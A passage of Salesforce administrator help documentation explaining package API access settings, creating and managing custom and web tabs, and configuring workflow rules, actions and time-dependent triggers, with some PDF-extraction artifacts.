This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2235.
Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.
Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

Accepting or Rejecting API and Dynamic Apex Access Privileges During Installation
To accept or reject the API and dynamic Apex access privileges for a package you are installing:

Start the installation process on Force.com AppExchange. For more information, see Installing a Package on page 2229.
In Approve API Access, either accept by clicking Next, or reject by clicking Cancel. Complete the installation steps if
you have not canceled.

Changing API and Dynamic Apex Access Privileges After Installation


To edit the package API and dynamic Apex access privileges after you have installed a package:
1. Select Your Name > Setup > Installed Packages.
2. Click the name of the package you wish to edit.
3. The API Access field displays the current setting, Restricted or Unrestricted, and a link to either Enable
Restrictions or Disable Restrictions. If Read, Create, Edit, and Delete access are not selected in the API access

1769

Create

What is a Custom Tab?

setting for objects, users do not have access to those objects from the package components, even if the user has the Modify
All Data and View All Data permissions.
Use the API Access field to:
Enable Restrictions
This option is available only if the current setting is Unrestricted. Select this option if you want to specify the
dynamic Apex and API access that package components have to standard objects in the installer's organization. When
you select this option, the Extended Object Permissions list is displayed. Select the Read, Create, Edit, or Delete
checkboxes to enable access for each object in the list. This selection is disabled in some situations. Click Save when
finished. For more information about choosing the Restricted option, including information about when it is
disabled, see Considerations for API and Dynamic Apex Access in Packages on page 2235.
Disable Restrictions
This option is available only if the current setting is Restricted. Select this option if you do not want to restrict
the Apex and API access privileges that the components in the package have to standard and custom objects. This
option gives all the components in the package the same API access as the user who is logged in. For example, if a
user can access accounts, an Apex class in the package that accesses accounts would succeed when triggered by that
user.
Restricted
Click this link if you have already restricted API access and wish to edit the restrictions.

What is a Custom Tab?


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

A custom tab is a user interface component you create to display custom object data or other web content embedded in the
application.
The following types of custom tabs are available:

Custom Object Tabs display the data of your custom object in a user interface tab. Custom object tabs look and function
just like standard tabs. See Creating Custom Object Tabs on page 1771.
Custom Web Tabs display any external Web-based application or Web page in a Salesforce tab. You can design Web
tabs to include the sidebar or span across the entire page without the sidebar. See Creating Web Tabs on page 1773.
Apex Page Tabs display data from a Visualforce page. Visualforce page tabs look and function just like standard tabs. See
Creating Visualforce Tabs on page 2113.

See Also:
Creating Custom Apps
What is an App?
Defining Object-Level Help

1770

Create

Defining Custom Tabs

Defining Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs:

Customize Application

Custom tabs display custom object data or other web content embedded in the application. For the total number of custom
tabs you can create, see Salesforce Editions and Limits on page 2076.

Custom Object Tabs - Create a tab for your custom object data. See Creating Custom Object Tabs on page 1771.
Web Tabs - Create a tab to display other web content. See Creating Web Tabs on page 1773.
Apex Page Tabs - Create a tab that displays a Visualforce page. See Creating Visualforce Tabs on page 2113.

Delegated administrators who can manage specified custom objects can also create and customize tabs for those custom objects.
See Delegating Administrative Duties on page 738.

See Also:
What is a Custom Tab?

Creating Custom Object Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs:

Customize Application

Define a new tab to display the data stored in your custom object records.
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Custom Object Tabs related list.
3. Select the custom object to display in the custom tab. If you have not already created the custom object, click create a new
custom object now and follow the instructions in Defining Custom Objects on page 1735.

1771

Create

Defining Custom Tabs

The label of the new tab is the same as the plural version of the custom object label, as described in Defining Custom
Objects on page 1735.
4. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
5. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:
a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (

).

c. Select a file and click OK. The New Custom Tab wizard reappears.
6. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. For details about
creating a custom link to use as a splash page for your custom tab, see Defining Custom Buttons and Links on page 1254.
7. Enter a description of the tab, if desired, and click Next.
8. Choose the user profiles for which the new custom tab will be available:

Select Apply one tab visibility to all profiles and choose Default On, Default Off, or Tab Hidden from the drop-down
list.
Alternatively, select Apply a different tab visibility for each profile and choose Default On, Default Off, or Tab
Hidden from the drop-down list for each profile.

For Professional Edition users and Salesforce Platform One license users, tab visibility is automatically set to Default On.
9. Specify Tab Visibility.
For Enterprise, Unlimited, Developer Edition, and organizations, choose Default On, Default Off, or Tab Hidden in Tab
Visibility to determine whether the custom tab is visible to users with that profile, and click Next. For Professional
Edition organizations, tab visibility is automatically set to Default On. Salesforce Platform One license users, tab visibility
is automatically set to Default On.
If you choose Default On or Default Off, an option is added to the Create New drop-down list in the sidebar so that
users with the Create permission can quickly create a new record. For example, if the custom object displayed in the
custom tab is named Expenses, an Expense option appears in this list.
10. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
11. Check Append tab to users' existing personal customizations to add the new tab to your users customized
display settings if they have customized their personal display.
12. Click Save.

1772

Create

Defining Custom Tabs

To further customize the tab:

Define the page layout for records displayed in the tab. The page layout controls which fields are visible and editable when
users are entering data in the custom tab. For details, see Building Page Layouts for Custom Objects on page 1751.
Specify which fields display to users in the key lists section of the custom object tab home page. For details, see Customizing
Search Layouts for Custom Objects on page 1752.

See Also:
Creating Custom Object Tabs

Creating Web Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create and edit custom tabs:

Customize Application

Build web tabs so that your users can use your web applications or other websites from within the application.
1. Click Your Name > Setup > Create > Tabs.
2. Click New in the Web Tabs related list.
3. Choose a layout for the new tab. The full page width spans across the entire page without the sidebar while the column
style allows users to view the sidebar.
4. Click Next.
5. Choose URL for tab type. Choose Custom S-Control if you have previously created a custom s-control that you want
displayed in the web tab. See Defining Custom S-Controls on page 2124.
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have
never created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will
remain unaffected, and can still be edited.
6. Enter a label to display on the tab.
7. Click the Tab Style lookup icon to display the Tab Style Selector.
If a tab style is already in use, a number enclosed in brackets [] appears next to the tab style name. Hover your mouse over
the style name to view the tabs that use the style. Click Hide styles which are used on other tabs to filter
this list.
8. Click a tab style to select the color scheme and icon for the custom tab.
Optionally, click Create your own style on the Tab Style Selector dialog if you want to create a custom tab style and your
organization has access to the Documents tab. To create your own tab style:

1773

Create

Defining Custom Tabs

a. Click the Color lookup icon to display the color selection dialog and click a color to select it.
b. Click Insert an Image, select the document folder, and select the image you want to use.
Alternatively, click Search in Documents, enter a search term, and click Go! to find a document file name that includes
your search term.
Note: This dialog only lists files in document folders that are under 20 KB and have the Externally Available
checkbox selected in the document property settings. For more information, see uploading images and document
property settings. If the document used for the icon is later deleted, Salesforce replaces it with a default multicolor
block icon (

).

c. Select a file and click OK. The New Custom Tab wizard reappears.
9. Change the content frame height if necessary.
10. Optionally, select the Mobile Ready checkbox to indicate that the web page displays and functions properly in a mobile
web browser.
Selecting the checkbox adds the tab to the list of available tabs for your mobile configurations. See Managing Mobile Tabs
on page 971 for information on how to mobilize tabs. Review the considerations for ensuring that the pages in your web
tabs are compatible with mobile browsers before mobilizing a web tab.
Note that the Mobile Ready checkbox is only visible if Salesforce Mobile is enabled for your organization.
11. Optionally, choose a custom link to use as the introductory splash page when users initially click the tab. See Defining
Custom Buttons and Links on page 1254 for information about creating a custom link to use as a splash page for your custom
tab. Note that splash pages do not display in the mobile application. Avoid using a splash page if you plan to mobilize the
web tab.
12. Enter a description of the tab, if desired, and click Next.
13. Enter the URL or choose the custom s-control that you want to display in the tab. Optionally, copy and paste any merge
fields for data that you want replaced in the link dynamically.
Remember to include the http:// before your URL. User, organization, and API merge fields are available for web tabs.
For details about using merge fields, see Merge Fields Overview on page 460.
Optionally, click the preview link to display your web tab.
14. For a URL, choose an encoding setting and click Next.
15. Add the web tab to the appropriate profiles. In Tab Visibility, choose Default On, Default Off, or Tab Hidden to
determine whether the custom tab is visible to users with that profile. The administrator can change this setting later.
16. Check Append tab to users' existing personal customizations to apply the tab visibility settings to all
users.
17. Specify the custom apps that should include the new tab. See What is an App? on page 1718 for information on custom
apps.
18. Click Save.

1774

Create

Managing Custom Tabs

Managing Custom Tabs


Custom Object Tabs and Web Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and
Developer Editions
Apex Page Tabs available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, edit, and delete custom tabs:

Customize Application

After creating your custom tabs, you can edit or delete them. Click Your Name > Setup > Create > Tabs to display a list of
your organizations custom tabs, web tabs, and Visualforce tabs. Use this page to view, create, edit, or delete custom tabs.

To view details for a custom tab, click the custom tab name.
To change the properties of a custom tab, click Edit, make the appropriate changes, and click Save. Before changing the
Splash Page Custom Link, see Defining Home Tab Components on page 1300 for information about creating a custom
link to use as a splash page for your custom tab.
To remove a custom tab, click Del.
To create a new custom tab, click New. See Creating Custom Object Tabs on page 1771, Creating Web Tabs on page 1773,
or Creating Visualforce Tabs on page 2113.
To share custom tabs with other users on Force.com AppExchange, see Overview of Packages on page 1937.
To enable Visualforce or web tabs for mobile users, edit the properties of the tabs and select the Mobile Ready checkbox.
See Creating Visualforce Tabs on page 2113 and Creating Web Tabs on page 1773. For more information about customizing
tabs in the mobile application, see Managing Mobile Tabs on page 971.
To create apps that can be upgraded, see Enabling Managed Packages for Your Organization on page 1942.

Workflow and Approvals Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Approvals, Tasks, and Email Alerts are not available in Database.com

User Permissions Needed


To view workflow rules and approval processes:

View Setup and Configuration

To create or change workflow rules and approval processes:

Customize Application

Your sales force operates more efficiently with standardized internal procedures and automated business processes. Many of
the tasks you normally assign, the emails you regularly send, and other record updates are part of an organization's standard
processes. Instead of doing this work manually, you can configure workflow and approvals to do it automatically.

1775

Create

Workflow and Approvals Overview

Begin by designing workflow rules and approval processes, and associating them with actions such as email alerts, tasks, field
updates, or outbound messages.

About Workflow
Each workflow rule consists of:

Criteria that determine when Salesforce executes the workflow rule. Any change that causes a record to match this criteria
can trigger the workflow ruleeven changes to hidden fields.
Immediate actions to take when the workflow rule executes. For example, Salesforce can automatically send an email that
notifies the sales team when a new high-value opportunity is created.
Time-dependent actions that Salesforce queues when the workflow rule executes. For example, Salesforce can automatically
send an email reminder to the account team if a high-value opportunity is still open ten days before the specified close
date. When Salesforce triggers a workflow rule that has time-dependent actions, you can use the workflow queue to monitor
and cancel pending actions.

Workflow automates the following types of actions:

Email AlertsSend an email to one or more recipients. For example, automatically send sales management an email alert
when a sales representative qualifies a large deal.
TasksAssign a new task to a user, role, or record owner. For example, automatically assign follow-up tasks to a support
representative one week after a case is updated.
Field UpdatesUpdate the value of a field on a record. For example, automatically change the Owner field on a contract
three days before it expires.
Outbound MessagesSend a secure configurable API message (in XML format) to a designated listener. For example,
automatically initiate the reimbursement process for an approved expense report by triggering an outbound API message
to an external HR system.

About Approvals
An approval process is an automated process your organization can use to approve records in Salesforce. An approval process
specifies the steps necessary for a record to be approved and who must approve it at each step. A step can apply to all records
included in the process, or just records that have certain attributes. An approval process also specifies the actions to take when
a record is approved, rejected, recalled, or first submitted for approval. For more details about approval processes and what
they entail, see Getting Started with Approval Processes on page 1824.

See Also:
Creating Email Alerts for Workflow, Approvals, or Milestones
Creating Tasks for Workflow, Approvals, or Milestones
Defining Field Updates
Defining Outbound Messages
Creating Workflow Rules
Examples of Workflow Rules
Customizing Workflow and Approval Settings
Administrator tip sheet: Workflow: Automating The Process
Differences Between Auto-Response Rules and Workflow Alerts
Creating Approval Processes

1776

Create

Managing Workflow Rules

Managing Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks and Email Alerts are not available in Database.com

User Permissions Needed


To view workflow rules:

View Setup and Configuration

To create or change workflow rules:

Customize Application

Automate your organizations standard processes by configuring workflow rules.


If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
To get started using workflow rules, click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules. From
this page, you can:

Create a new workflow rule.


Select an existing rule to view its details, clone it, activate and deactivate it, or view and edit actions and time triggers.
Edit a workflow rule.
Delete a workflow rule.
Note: You can't delete a workflow rule that has pending actions in the workflow queue. Wait until pending actions
are processed, or use the workflow queue to cancel the pending actions.

Activate a workflow rule. Click Deactivate to prevent the rule from firing when its conditions are met.
Note:
You can deactivate a workflow rule at any time. However, if you deactivate a rule that has pending actions,
Salesforce completes those actions as long as the record that triggered the rule is not updated.
You can't add time-dependent workflow actions to active workflow rules. Deactivate the workflow rule first,
add the time-dependent workflow action, and reactivate the rule.
When tasks are created automatically by actions such as clicking the Send An Email button, they don't trigger
task-based workflow rules.

1777

Create

Managing Workflow Rules

Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

See Also:
Creating Workflow Rules
Notes on Using Workflow Rules
Examples of Workflow Rules
Workflow and Approvals Overview
Managing Email Alerts
Managing Tasks for Workflow and Approvals
Managing Field Updates
Defining Outbound Messages
Differences Between Auto-Response Rules and Workflow Alerts

Creating Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed


To create or change workflow rules and actions:

Customize Application

Watch a Demo (2:50 minutes)


Automate your organizations standard processes by configuring workflow rules.
To create a new rule:
1.
2.
3.
4.

Select the object to which the workflow rule applies.


Configure the workflow rule settings and criteria.
Configure the workflow actions.
Activate the workflow rule.

1778

Create

Managing Workflow Rules

Selecting the Object for Your Workflow Rule


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed


To create or change workflow rules and actions:

Customize Application

1. Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules.
2. On the workflow rules list page, click New Rule.
3. Choose an object to which you want this workflow rule to apply.
Note:

If you have a workflow action that updates a field on a related object, that target object isn't the one associated
with the workflow rule.
To create workflow rules based on new case comments or incoming email messages that automatically update
fields on their associated cases, choose either Case Comment or Email Message. See Notes on Using Workflow
Rules for more information.
To create a site usage rule, choose one of the following:
Organization (for monthly page views allowed and monthly page views used fields)
Site (for site detail, daily bandwidth and request time, monthly page views allowed, and other fields)
User License (for the monthly logins allowed and monthly logins used fields)

The Organization and Site objects are only available if Force.com sites is enabled for your organization. The
User License object isn't dependent on sites, and is only available if you have Customer Portals or partner portals
enabled for your organization.
You can't create email alerts for workflow rules on activities.

4. Click Next.

See Also:
Configuring Rule Settings and Criteria
Configuring Workflow Actions
Activating a Workflow Rule
Creating Workflow Rules

1779

Create

Managing Workflow Rules

Configuring Rule Settings and Criteria


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed


To create or change workflow rules and actions:

Customize Application

After selecting the object for your workflow rule, you can configure its settings and criteria.
1. Enter a rule name.
2. Enter a description for the rule.
3. Choose the evaluation criteria:

When a record is created, or when a record is edited and did not previously meet the
rule criteria: Choose this option to include new records and updates to existing records, unless the rule just ran

and still meets the rule criteria. The rule isn't re-triggered on edits that don't affect rule criteria. For example, if setting
an opportunity rating to Hot causes the rule to run, with this option, the rule runs again only if the rating changes,
then changes back to Hotno matter how many times you edit the object.
Only when a record is created: Choose this option to ignore updates to existing records.
Every time a record is created or edited: Choose this option to include new records and updates to
existing records and repeatedly trigger the rule, even if the record still meets the criteria.
Note: You can't add time-dependent actions to a rule if you choose Every time a record is created
or edited.

4. Enter your rule criteria:

Choose criteria are met and select the filter criteria that a record must meet to trigger the rule. For example, set
the filter to Opportunity: Amount greater than 5000 if you want opportunity records with an amount greater than
$5,000 to trigger the rule.
If your organization uses multiple languages, enter filter values in your organization's default language. You can add
up to 25 filter criteria, of up to 255 characters each.
Note: Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't
triggered when the user is in a different language than that of the organization.

Choose formula evaluates to true and enter a formula that returns a value of True or False. Salesforce
triggers the rule if the formula returns True.
Examples of useful workflow formulas include:
If the number of filled positions equals the number of total positions on a job, update the Job Status field to
Filled.

1780

Create

Managing Workflow Rules

If mileage expenses associated with visiting a customer site are 35 cents per mile and exceed a $1,000 limit,
automatically update the Approval Required field to Required.
If a monthly subscription-based opportunity amount is greater than $10,000, create a task for an opportunity owner
to follow up 60 days after the opportunity is closed.
The $Label variable isnt supported in workflow rule formulas. Also, some functions aren't available in workflow rule
formulas.
Tip: You can use merge fields for directly related objects in workflow rule formulas. For more information,
see Merge Fields Overview.

5. Click Save & Next.

See Also:
Configuring Workflow Actions
Activating a Workflow Rule
Creating Workflow Rules

Configuring Workflow Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed


To create or change workflow rules and actions:

Customize Application

Add immediate and time-dependent actions to the workflow rule. Immediate actions trigger once evaluation criteria are met.
Time-dependent actions specify when Salesforce executes the workflow action. For example, Salesforce can automatically send
an email reminder to the account team if a high-value opportunity is still open ten days before the specified close date.
Tip: Time-dependent actions and time triggers are complex features with several considerations.
If you plan on configuring workflow rules that have time-dependent actions, specify a default workflow user. Salesforce
associates the default workflow user with a workflow rule if the user who initiated the rule is no longer active.
1. To add an immediate workflow action, click Add Workflow Action in the Immediate Workflow Actions section and
select:

New Task to create a task to associate with the rule


New Email to create an email alert to associate with the rule
New Field Update to define a field update to associate with the rule
New Outbound Message to define an outbound message to associate with the rule
Select Existing Action to select an existing action to associate with the rule

1781

Create

Managing Workflow Rules

2. To add a time-dependent workflow action, click Add Time Trigger in the Time-Dependent Workflow Actions section
and:
a. Specify a number of days or hours before or after a date relevant to the record, such as the date the record was created
or modified. If the workflow rule is in effect when this time occurs, the time trigger fires the workflow action.
b. Click Save.
Note: The Add Time Trigger button is unavailable if:

The rule criteria is set to Every time a record is created or edited


The rule is activated
The rule is deactivated but has pending actions in the workflow queue

3. Configure additional immediate or time-dependent actions.


4. Click Done.
Note: For all custom objects and some standard objects, you can create workflow and approval actions where a change
to a detail record updates a field on the related master record. Cross-object field updates work for custom-to-custom
master-detail relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail
relationships. For more information, see Understanding Cross-Object Field Updates on page 1800.

See Also:
Selecting the Object for Your Workflow Rule
Configuring Rule Settings and Criteria
Activating a Workflow Rule
Creating Workflow Rules

1782

Create

Managing Workflow Rules

Activating a Workflow Rule


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Tasks, Sites, and Email Alerts are not available in Database.com

User Permissions Needed


To create or change workflow rules and actions:

Customize Application

Salesforce doesn't trigger a workflow rule until you activate it. To activate a workflow rule, click Activate on the workflow
rule detail page. Click Deactivate to prevent a rule from triggering or if you want to edit the time-dependent actions and time
triggers associated with the rule.

See Also:
Selecting the Object for Your Workflow Rule
Configuring Rule Settings and Criteria
Configuring Workflow Actions
Creating Workflow Rules

Notes on Using Workflow Rules


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Standard Objects are not available in Database.com

User Permissions Needed


To view workflow rules:

View Setup and Configuration

To create or change workflow rules:

Customize Application

Consider the following when configuring workflow rules:

Each workflow rule applies to a single object. For the maximum number of workflow rules allowed on an object, see
Salesforce Editions and Limits on page 2076.
For all custom objects and some standard objects, you can create workflow and approval actions where a change to a detail
record updates a field on the related master record. Cross-object field updates work for custom-to-custom master-detail
relationships, custom-to-standard master-detail relationships, and a few standard-to-standard master-detail relationships.
For more information, see Understanding Cross-Object Field Updates on page 1800.
The cross-object field update function may depend on certain critical updates being active. Click Your Name > Setup >
Critical Updates to see if your organization requires any updates.

1783

Create

Managing Workflow Rules

Workflow rules can be triggered any time a record is saved or created, depending on your rule criteria. However, rules
created after saving records aren't triggered by those records retroactively.
Workflow rules are triggered when a standard object in a master-detail relationship is re-parented, even if the object's
evaluation criteria is set to When a record is created, or when a record is edited and did not
previously meet the rule criteria.
Workflow rules only trigger on converted leads if validation and triggers for lead convert are enabled in your organization.
If you have workflow rules on converted leads and want to use cross-object field updates on the resulting accounts and
opportunities, you must enable the lead setting Enable Validation and Triggers from Lead Convert.
Workflow rules on custom objects are automatically deleted if the custom object is deleted.
Workflow rules trigger automatically and are invisible to the user. Alternatively, approval processes allow users to submit
records for approval.
The order in which actions are executed is not guaranteed. Field update actions are executed first, followed by other actions.
To create workflow rules that update case fields based on new case comments or incoming email messages, choose Case
Comment or Email Message from the Select Object drop-down list; Email Message is only available if Email-to-Case
or On-Demand Email-to-Case is enabled. You can only create email message workflow rules for field updates, and case
comment workflow rules for field updates, email alerts, and outbound messages. For example, you can create a workflow
rule so that an email marked as Is Incoming changes its case's Status from Closed to New.
Saving or creating records can trigger more than one rule.
The following actions don't trigger workflow rules:

Changes you make to records while using Connect Offline are evaluated by workflow rules when you synchronize.
Salesforce processes any rules in the following order:
1.
2.
3.
4.
5.

Mass replacing picklist values


Mass updating address fields
Mass updating divisions
Changing the territory assignments of accounts and opportunities
Converting leads to person accounts

Validation rules
Assignment rules
Auto-response rules
Workflow rules (with immediate actions)
Escalation rules

Workflow rules and entry criteria for approval processes and steps respect the user's locale and aren't triggered when the
user is in a different language than that of the organization.
If you use record types in your workflow rule criteria whose labels have been translated using the translation workbench,
the translated label value wont trigger the workflow rule. Workflow criteria evaluate the master label value and ignore the
translated value. To avoid this problem, set the workflow criteria to evaluate the master record type label value by entering
it manually in the Value field.
If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default.
Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

Workflow Rule Limitations

Workflow rules can't be triggered by campaign statistic fields, including individual campaign statistics and campaign
hierarchy statistics. For a list of campaign fields that cannot trigger workflow rules, see Campaign Fields on page 2854.

1784

Create

Managing Workflow Actions

You can't create email alerts for workflow rules on activities.


You can't package workflow rules with time triggers.
You can't create outbound messages for workflow rules on junction objects.

Tip: You can use the Developer Console to debug workflow rules. The Developer Console lets you view debug log
details and information about workflow rules and actions, such as the name of the user who triggered the workflow
rule and the name and ID of the record being evaluated.

Managing Workflow Actions


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed


To view workflow rules and actions:

View Setup and Configuration

To create or change workflow rules and actions:

Customize Application

To manage your workflow actions:


1.
2.
3.
4.

Click Your Name > Setup > Create > Workflow & Approvals > Workflow Rules to access the workflow rules list page.
Click the name of the rule with the workflow actions you want to edit.
Click Edit in the Workflow Actions section.
From this page you can:

Click Edit next to any workflow action or time trigger to modify it.
Click Remove next to any workflow action to remove it from the rule. This disassociates the workflow action from the
workflow rule but doesn't delete the workflow action.
Click Delete next to any time trigger to remove it from the rule. This deletes the time trigger and removes its associated
actions from the workflow rule but does not delete the workflow actions. The workflow actions are still available when
you click Add Workflow Action and choose the Select Existing Action option.
Click Add Workflow Action in the Immediate Workflow Actions section to add an immediate workflow action to
the workflow rule.
Click Add Time Trigger to add a time trigger to the workflow rule.
Click Add Workflow Action next to a time trigger to add time-dependent workflow actions to the time trigger.

5. Click Done.

See Also:
Managing Workflow Rules
Creating Workflow Rules
Time-Dependent Action and Time Trigger Considerations
Selecting Existing Actions

1785

Create

Time-Dependent Action and Time Trigger Considerations

Time-Dependent Action and Time Trigger Considerations


Available in: Enterprise, Unlimited, Developer, and Database.com Editions
Leads are not available in Database.com

User Permissions Needed


To define, edit, or delete time-dependent actions and time
triggers:

Customize Application

When creating time-dependent actions and time triggers for workflow rules, consider the following:

Defining Time Triggers

When defining a time trigger, use standard and custom date and date/time fields defined for the object. Specify time using
days and hours.
You can add actions to existing time triggers.

Time Trigger Processing

Time-dependent actions aren't executed independently. They're processed several times every hour, where they're grouped
together and executed as a single batch. Therefore, any triggers that fire as a result of those grouped actions are also executed
in a single batch. This behavior can cause you to exceed your Apex governor limits if you design your time-based workflow
in conjunction with Apex triggers.
Salesforce evaluates time-based workflow on the organization's time zone, not the users'. Users in different time zones
may see differences in behavior.
Salesforce doesn't necessarily execute time triggers in the order they appear on the workflow rule detail page. Workflow
rules list time triggers that use the Before field first, followed by time triggers that use the After field.
Salesforce doesn't display time-dependent action controls on the workflow rule edit page if you set the workflow rule
evaluation criteria to Every time a record is created or updated.
If you change a date field that is referenced by an unfired time trigger in a workflow rule that has been evaluated, Salesforce
recalculates the unfired time triggers associated with the rule. For example, if a workflow rule is scheduled to alert the
opportunity owner seven days before the opportunity close date and the close date is set to 2/20/2011, Salesforce sends the
alert on 2/13/2011. If the close date is updated to 2/10/2011 and the time trigger hasn't fired, Salesforce reschedules the
alert for 2/3/2011. If Salesforce recalculates the time triggers to a date in the past, Salesforce triggers the associated actions
shortly after you save the record.
If a workflow rule has a time trigger set for a time in the past, Salesforce queues the associated time-dependent actions to
execute sometime within the hour, depending on system usage. For example, if a workflow rule on opportunities is configured
to send an email alert seven days before the close date and you create an opportunity record with the close date set to today,
Salesforce sends the email alert within four hours after you create the opportunity.
Time-dependent actions remain in the workflow queue only as long as the workflow rule criteria are still valid. If a record
no longer matches the rule criteria, Salesforce removes the time-dependent actions queued for that record.
For example, an opportunity workflow rule may specify:
A criteria set to Opportunity: Status not equals to Closed Won, Closed Lost.
An associated time-dependent action with a time trigger set to seven days before the opportunity close date.

1786

Create

Time-Dependent Action and Time Trigger Considerations

If a record that matches the criteria is created on July 1st and the Close Date is set to July 30th, the time-dependent
action is scheduled for July 23rd. However, if the opportunity is set to Closed Won or Closed Lost before July 23rd,
the time-dependent action is automatically removed from the queue.

Salesforce ignores time triggers that reference null fields.


Time-dependent actions can automatically be queued again if the record is updated and the evaluation criteria is When a
record is created, or when a record is edited and did not previously meet the entry
criteria. Using the previous example, if the opportunity status is changed from Closed Lost to Prospecting and the
workflow rule evaluation criteria is When a record is created, or when a record is edited and did
not previously meet the entry criteria, Salesforce reevaluates the time triggers and adds the appropriate

actions to the workflow queue.


Deleting a record that has pending actions removes the pending actions from the workflow queue. You can't restore the
actions, even if you undelete the record.
If the evaluation criteria is Only when a record is created, the workflow rule evaluates its time triggers only once.
If the record that fired the rule changes to no longer meet the evaluation criteria, Salesforce removes the pending actions
from the queue and never reapplies the rule to the record.
You can deactivate a workflow rule at any time. If the rule has pending actions in the workflow queue, editing the record
that triggered the rule removes the pending actions from the queue. If you don't edit the record, the pending actions are
processed even though the rule has been deactivated.
Time-based workflow rules aren't reevaluated if an Apex post trigger which is executed as a result of a workflow rule or
approval process updates a field so its value no longer meets the time-based workflow rule criteria.
Configuring a tasks Due Date to Rule Trigger Date sets time triggers and workflow task due dates based on the date
that the workflow time triggers action is executed. For example, if the task due date is Rule Trigger Date plus 10 days
and the time trigger is executed on January 1st, Salesforce sets the task due date to January 11th.
You can add a new active workflow rule with time triggers in a change set and deploy it. You can only change time triggers
on a workflow rule in a change set if it's inactive. The rule must be activated in the destination organization manually or
through another change set that only activates workflow rules and makes no time trigger changes.
For example, if you have an inactive workflow rule in your destination organization and your change set contains an active
workflow rule with the same name and new or different time triggers, the deployment will fail because it will activate the
workflow rule first, then try to add or remove time triggers.
Note: Time-dependent actions must be added manually when including a workflow rule in a change set. The
View/Add Dependencies function doesnt detect time-dependent actions.

Using Time-Dependent Workflow with Leads

You can't convert a lead that has pending actions.


If Validation and Triggers from Lead Convert is enabled, existing time-based workflow actions on leads aren't triggered
during lead conversion.
If a campaign member based on a lead is converted prior to the completion of time-based workflow actions associated with
it, Salesforce still performs the time-based workflow actions.

Limitations

Time triggers don't support minutes or seconds.


Time triggers can't reference the following:
DATE or DATETIME fields containing automatically derived functions, such as TODAY or NOW
Formula fields that include related-object merge fields

1787

Create

Customizing Workflow and Approval Settings

Salesforce limits the number of time triggers an organization can execute per hour. If an organization exceeds the limits
for its Edition, Salesforce defers the execution of the additional time triggers to the next hour. For example, if an Unlimited
Edition organization has 1,200 time triggers scheduled to execute between 4:00 PM and 5:00 PM, Salesforce processes
1,000 time triggers between 4:00 PM and 5:00 PM and the remaining 200 time triggers between 5:00 PM and 6:00 PM.
For more information on workflow limits, see Salesforce Editions and Limits.
You can't archive a product or price book that has pending actions.
You can't add or remove time triggers if:

The workflow rule is active.


